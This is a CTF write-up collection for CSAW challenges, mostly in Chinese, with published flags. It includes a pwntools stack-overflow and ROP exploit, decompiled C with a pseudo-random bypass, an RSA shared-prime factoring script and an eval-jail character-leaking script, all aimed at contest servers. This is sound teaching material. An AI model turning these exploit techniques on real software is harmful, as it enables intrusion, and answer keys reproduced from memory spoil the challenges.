# Discord
## Information
- Category: Misc
- Points: 10
## Description
> Join the Discord for our super secret flag!
## Write-up
本来以为是和机器人聊天，发现这机器人还挺难斥候，怀疑是真人。但凡我表现出任何索要
flag 的姿态他就不高兴了……最后发现 flag 在 #rules channel，严重怀疑是不是自己眼
睛瞎了，还是当时脑子没完全开机，居然跑去和机器人聊天，然后这机器人也是牛逼，我说
我要睡觉了，人家第二天晚上还主动来找我，问我醒了没，继续聊啊……
## Flag
:spoiler[`csawctf{w3Ic0m3_70_th3_22nd_y34r_0f_CSAW}`]
# Star Scream (Old)
## Information
- Category: OSINT
- Points: 50
## Description
> In 2017, a daring trio of tinkerers sent five midnight-black specks skyward. N
o bigger than loaves of bread, yet destined to circle Earth 400km above the clou
ds. Two of the tinkerers dreamt of showing their country's flags to the stars, b
ut six weeks before my planned farewell, I tumbled back to the blue. Who am I?
>
> When you've sleuthed out the answer, submit: csawctf{Satelite-name_satcatnumbe
r}
## Write-up
13 号的题，没想到出现了一些戏剧性的事情，比赛延期 24h 并修改了题目……懒得删了，记
录一下这个旧 flag……
14 号的新题没做出来……/抓狂
### References
- [Birds-1](https://en.wikipedia.org/wiki/Birds-1)
- [GhanaSat-1](https://en.wikipedia.org/wiki/GhanaSat-1)
## Flag
:spoiler[`csawctf{GhanaSat-1_42821}`]
# Mooneys Bookstore
## Information
- Category: Pwn
- Points: 500
## Description
> You think it's just input. Just another binary.
> But this stack? It's mine.
> Overflow it. Follow the trail. I left a key behind.
> If you're paying attention, you'll find it.
> Slip once, and the story ends before it begins.
## Write-up
简单题……我好菜啊 :sob:
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
context,
flat,
p64,
process,
raw_input,
remote,
)
FILE = "./overflow_me"
HOST, PORT = "chals.ctf.csaw.io", 21006
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
secret_addr = elf.bss() + 0x28
target.success(f"secret addr: {hex(secret_addr)}")
target.sendafter(b"Tell me its address", p64(secret_addr))
leak = target.recvlines(2)[1]
secret = int(leak, 16).to_bytes(0x8, "little")
target.success(f"leaked_addr: 0x{secret.hex()}")
target.sendafter(b"the story unlocks", secret)
target.recvuntil(b"for you: ")
val = int(target.recvline().strip(), 16).to_bytes(0x8, "little")
target.success(f"val: 0x{val.hex()}")
# raw_input("DEBUG")
payload = flat(
b"A" * 64,
val,
b"A" * 0x10,
rop.ret.address,
elf.sym["get_flag"],
)
target.sendlineafter(b"into this story.", payload)
target.interactive()
if __name__ == "__main__":
main()
```
## Flag
:spoiler[`csawctf{U_w3r3_n3v3r_m3@nt_2_s33_th3_st@ck~but_I_l3t_U_1n_b3c@us3_1_l0
v3_U~d8K#xY_q1W9eVz2NpL7}`]
# Power Up
## Information
- Category: Pwn
- Points: 500
## Description
> Your starship have been wandering for weeks in this derelict orbit, whose core
is out of energy.
> You are the last engineer who must ignite the core with energy using proper mo
dules.
> Power up the starship. Or stay stranded forever.
## Write-up
复现一下，比赛的时候成功解决了里面的伪随机数问题，但是由于没怎么学过堆方面的知识
，导致我认为这是 unsorted bin attack，然后现场学习了一番，发现始终会遇到问题，最
后也没能做出来就放弃了……
但是很意外，赛后看见有人通过逆向分析就给出了非预期的最简单解法……草，最近很多题目
都向我指出：我要是不急着想怎么利用，而是多思考思考伪代码和汇编的话，说不定会有奇
迹……
Anyway，这道题官方解法是 largebin attack，草，我当时完全跑偏了。问题不大，先复现
一下逆向分析的解法，然后等以后学完 largebin 了再回头用预期解做这道题吧……
逐个功能进去查看，发现 `launch_starship` 会直接打开并输出 flag 的内容：
```c
unsigned __int64 launch_starship()
{
size_t n; // rax
int fd; // [rsp+Ch] [rbp-94h]
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v4; // [rsp+98h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 0, 0x80u);
fd = open("flag.txt", 0);
if ( fd == -1 )
{
fwrite("Error: open failedn", 1u, 0x13u, stderr);
exit(1);
}
read(fd, s, 0x80u);
close(fd);
*(_WORD *)&s[strlen(s)] = 10;
n = strlen(s);
write(1, s, n);
return v4 - __readfsqword(0x28u);
}
```
下面是 main 函数：
```c ins={37-38, 51-56}
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int v4; // eax
int n5; // [rsp+Ch] [rbp-14h] BYREF
unsigned int v7; // [rsp+10h] [rbp-10h]
int char; // [rsp+14h] [rbp-Ch]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]
v9 = __readfsqword(0x28u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("Your starship have been wandering for weeks in this derelict orbit, whos
e core is out of energy.");
puts("You are the last engineer who must ignite the core with energy using pro
per modules.");
puts("Power up the starship. Or stay stranded forever.");
seed = time(0);
srand(seed);
while ( 1 )
{
while ( 1 )
{
putchar(10);
puts("[1] Create a module");
puts("[2] Delete a module");
puts("[3] Edit a module");
puts("[4] Power up");
puts("[5] Stay stranded");
printf(">> ");
if ( (unsigned int)__isoc99_scanf("%d", &n5) == 1 && n5 > 0 && n5 <= 5 )
break;
puts("Invalid choice!");
do
char = getchar();
while ( char != 10 && char != -1 );
}
v4 = rand();
v7 = (unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) - ((unsigned i
nt)(v4 >> 31) >> 24);
switch ( n5 )
{
case 1:
create_module();
break;
case 2:
delete_module();
break;
case 3:
edit_module();
break;
case 4:
if ( (unsigned __int8)(16 * BYTE1(energy)) | (unsigned __int64)(((energy
>> 4) & 0xF) == v7) )
{
puts("The core is full of energy to power up the starship!");
launch_starship();
exit(0);
}
puts("The core is still dead as a rock without energy!");
break;
case 5:
puts("You and your starship will stay stranded in deep space forever!");
exit(1);
default:
continue;
}
}
}
```
这里直接手撕……注意到 `v4` 是通过 `rand` 生成的伪随机数，这个函数返回值范围是 $[
0,RAND_MAX]$ 。
而 `v7` 这个表达式，`(unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) -
((unsigned int)(v4 >> 31) >> 24)`，我们也无需深究它到底是什么意思，因为并不复杂
，直接消项嘛～发现有两部分相同的是 `(unsigned int)(v4 >> 31) >> 24)`，而减号左边
比右边只是多加了一个 `v4` 罢了。那如果我们得到的 `v4` 正好为 0 的话，整个 `v7`
表达式的结果也会是 0，都用不着算的，真瞪眼法秒了……
现在再看 4 号功能的检测要求：`(unsigned __int8)(16 * BYTE1(energy)) | (unsigned
__int64)(((energy >> 4) & 0xF) == v7)`，因为我们要是能 bypass 的话就能直接拿到 f
lag，那就想想有没有可能直接 bypass，这样我们就不用思考如何利用复杂的堆攻击了。
因为 `energy` 是在 bss 上的未初始化全局变量，默认为 0，所以 `(unsigned __int8)(1
6 * BYTE1(energy))` 的值可以直接确定为 0。由于这里使用的是 `|` 逻辑与运算，相当
于一个并集操作，所以如果我们想 bypass 这个检测，那唯一的机会就在 rhs 能不能是非
0 值了。
思考 rhs，`(unsigned __int64)(((energy >> 4) & 0xF) == v7`，它将 energy 值右移 4
bits，然后保留最低 4 bits，判断它与 `v7` 是否相等。相等就返回 1，否则返回 0 。
由于 energy 不论如何操作都是 0，这是肯定的，那只要 `v7` 也为 0，`0 == 0`，rhs 就
返回 1，`0 | 1` 就等于 1，成功 bypass 。
而这，也只需要我们不断输入 4 选项罢了……至于能不能命中，只是个概率问题。
这里解法是 `yes 4 | ./vuln`，说实话当时看到这个答案还是有点惊讶的，后来想想，确
实，自己的进步空间还是太大了……
## Exploit
```bash
yes 4 | ./vuln
```
## Flag
:spoiler[`csawctf{tyjroj_71m3_7o_g0_h0m3_zoqSy9_5w337_h0m3_nywcyp}`]
# Obligatory RSA
## Information
- Category: Crypto
- Points: 500
## Description
> Crypto just wouldn't be crypto without one!
## Write-up
RSA 简单啊，~直接拷打 AI xD~
## Exploit
```python
#!/usr/bin/env python3
import math
from Crypto.Util.number import inverse, long_to_bytes
e = 65537
n1 = 129092526753383933030272290277107300767707654330551632967994396398045326531
32030396318249748818247420246112069216273488043826141006654984563999202403741672
02284210762826329045985197932430672203420371448642370207578182631283011382060811
87472003821789897063195512919097350247829148288118913456964033001399074373
n2 = 108355113470836594630192960651980673780103497896732213011958303033575870030
50552816917472953049040591063429141534636068829045297652731690946964690828973202
37157374393125720126481658195332346048506083902339381740818671468466391106859281
36323983961395098632140681799175543046722931901766226759894951292033805879
d1 = 888434959898698710015597548829180767798584044407803918185676396020731736232
87821751315349650577023725245222074965050035045516207303078461168168819365025746
97358924513157014394471820304645739127041845908776426663089056607903982173516880
5805866019315142070438225092171304343352469029480503113942986147848666077
d2 = 945651442759297640172418658124356686442189185379415677112256444744184581155
44003036362558987818610553975855551983688286593672386482543188020042082319191545
66055132429373892021402804534424967051299913754899449657712844616563288577574479
5722253354007167294035878656056258332703809173397147948143695113558988035
def solve():
print("--- Starting Common Factor Attack ---")
p = math.gcd(n1, n2)
if p > 1:
print("[+] Success! A common factor was found.")
print("Shared Prime (p): {p}n")
q1 = n1 // p
q2 = n2 // p
print("--- Factoring Results ---")
print("q1: {q1}")
print("q2: {q2}")
print("[+] Verification successful: p * q1 == n1 and p * q2 == n2n")
# Calculate Euler's totient function
phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
# Calculate the correct private keys
d_correct_1 = inverse(e, phi1)
d_correct_2 = inverse(e, phi2)
print("--- Calculated Correct Private Keys ---")
print(f"d_correct_1: {d_correct_1}")
print(f"d_correct_2: {d_correct_2}n")
print("--- Decrypting given 'd' values as ciphertext ---")
try:
plaintext_1 = pow(d1, d_correct_1, n1)
flag_1 = long_to_bytes(plaintext_1)
print(f"[+] Decrypted plaintext from d1: {flag_1}")
except Exception as ex:
print(f"[-] Decryption failed for d1: {ex}")
try:
plaintext_2 = pow(d2, d_correct_2, n2)
flag_2 = long_to_bytes(plaintext_2)
print(f"[+] Decrypted plaintext from d2: {flag_2}")
except Exception as ex:
print(f"[-] Decryption failed for d2: {ex}")
else:
print("[-] Attack failed. n1 and n2 do not share a common factor.")
solve()
```
## Flag
:spoiler[`csawctf{wH04m1_70d3Ny_7r4D1710n_4820391578649021735}`]
# Galaxy
## Information
- Category: Misc
- Points: 500
## Description
> Reach for the stars!
## Write-up
调教 AI 出的……工具就应该拿来用不是吗 LOL
## Exploit
```python
#!/usr/bin/env python3
from pwn import context, process, remote, args
import sys
FILE = "./main.py"
HOST, PORT = "chals.ctf.csaw.io", 21009
context(log_level="debug")
alphabet = "abcdefghijklmnopqrstuvwxyz'"
def launch():
global target
if args.L:
target = process(["python3", FILE])
else:
target = remote(HOST, PORT)
def main():
launch()
def send_recv_str(payload):
target.recvuntil(b"> ", timeout=1)
target.sendline(payload.encode())
try:
line = target.recvline()
if not line:
return ""
return line.decode(errors="ignore").strip()
except Exception:
return ""
target.recvuntil(b"> ")
apost_cipher = None
for c in alphabet:
# if ciphertext c -> "'", then c + "[" + c becomes "'['" after unwarp, e
val("'['") -> prints [
resp = send_recv_str(c + "[" + c)
if resp and "[" in resp and resp != "no galaxy":
apost_cipher = c
target.info(
f"Found apostrophe ciphertext: {apost_cipher!r} (response={resp!
r})"
)
break
if not apost_cipher:
target.failure("Could not find apostrophe ciphertext. Abort.")
target.close()
sys.exit(1)
# build cipher -> plaintext mapping by probing apost_cipher + candidate + ap
ost_cipher
cipher_to_plain = {}
for c in alphabet:
resp = send_recv_str(apost_cipher + c + apost_cipher)
# on success resp is printed plaintext character (single char)
if resp and resp != "no galaxy":
cipher_to_plain[c] = resp[0]
target.debug(f"cipher {c!r} -> plain {cipher_to_plain[c]!r}")
else:
cipher_to_plain[c] = None
# the candidate that maps to "'" will have produced no valid eval (None).
# fill it explicitly using apost_cipher we discovered.
cipher_to_plain[apost_cipher] = "'"
target.info(f'Explicitly set cipher {apost_cipher!r} -> plain "'"')
# invert mapping to get plaintext -> ciphertext
plain_to_cipher = {}
for c, pch in cipher_to_plain.items():
if pch is not None:
# if multiple c map to same pch (shouldn't), last one wins — but map
ping is bijection here
plain_to_cipher[pch] = c
# sanity check
missing = [ch for ch in alphabet if ch not in plain_to_cipher]
if missing:
target.warning(f"Missing plaintext->cipher mappings for: {missing}")
else:
target.info("Recovered full plaintext->cipher mapping for a-z and apostr
ophe.")
# helper to encrypt plaintext expression using mapping
def encrypt_plaintext(expr):
out = []
for ch in expr:
if ch in plain_to_cipher:
out.append(plain_to_cipher[ch])
else:
out.append(ch)
return "".join(out)
# negative index expression using allowed chars only
def neg_expr(n):
"""
Build an expression that evaluates to -n using only allowed characters.
Use ~('a'<'b') == -2 and ~('a'<'a') == -1, combine with +.
"""
q = n // 2
r = n % 2
parts = ["~('a'<'b')" for _ in range(q)]
if r:
parts.append("~('a'<'a')")
return "+".join(parts)
# ensure we can encrypt 'spiral' (all letters present)
for ch in "spiral":
if ch not in plain_to_cipher:
target.failure(f"Missing mapping for letter {ch!r}. Aborting.")
target.close()
sys.exit(1)
enc_spiral = encrypt_plaintext("spiral")
target.info(f"Encrypted 'spiral' -> {enc_spiral!r}")
# dump characters one-by-one using negative indices
flag_chars = []
MAX_CHARS = 80
for i in range(1, MAX_CHARS + 1):
idx_plain = neg_expr(i)
expr_plain = f"spiral[{idx_plain}]"
expr_cipher = encrypt_plaintext(expr_plain)
resp = send_recv_str(expr_cipher)
if not resp or resp == "no galaxy":
target.info(f"Index -{i} out-of-range or eval error (resp={resp!r}),
stop.")
break
ch = resp[0]
target.info(f"got index -{i}: {repr(ch)}")
flag_chars.append(ch)
flag = "".join(reversed(flag_chars))
target.success(f"Recovered flag (partial/full): {flag}")
target.close()
if __name__ == "__main__":
main()
```
## Flag
:spoiler[`csawctf{g@l@xy_0bserv3r$}`]